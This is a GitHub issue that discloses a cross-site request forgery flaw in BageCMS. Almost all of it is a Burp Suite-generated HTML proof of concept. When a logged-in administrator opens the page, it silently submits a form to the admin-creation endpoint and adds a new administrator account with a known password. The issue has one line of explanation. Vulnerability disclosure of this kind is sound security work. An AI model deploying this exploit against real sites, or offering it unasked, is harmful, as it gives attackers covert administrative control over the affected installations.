Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a CSRF vulnerability that can be used to add a background administrator. #2

Open
huangyuan666 opened this issue Jul 23, 2018 · 0 comments

Comments

@huangyuan666
Copy link

huangyuan666 commented Jul 23, 2018

When the administrator lands, open it.
exp.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.8.130/bagecms/index.php?r=admini/admin/create" method="POST">
      <input type="hidden" name="Admin&#91;username&#93;" value="test" />
      <input type="hidden" name="Admin&#91;password&#93;" value="test" />
      <input type="hidden" name="Admin&#91;email&#93;" value="123456&#64;qq&#46;com" />
      <input type="hidden" name="Admin&#91;group&#95;id&#93;" value="1" />
      <input type="hidden" name="Admin&#91;realname&#93;" value="" />
      <input type="hidden" name="Admin&#91;telephone&#93;" value="" />
      <input type="hidden" name="Admin&#91;mobile&#93;" value="" />
      <input type="hidden" name="Admin&#91;qq&#93;" value="0" />
      <input type="hidden" name="Admin&#91;notebook&#93;" value="" />
      <input type="hidden" name="Admin&#91;status&#95;is&#93;" value="Y" />
      <input type="hidden" name="submit" value="�&#143;&#144;浜&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant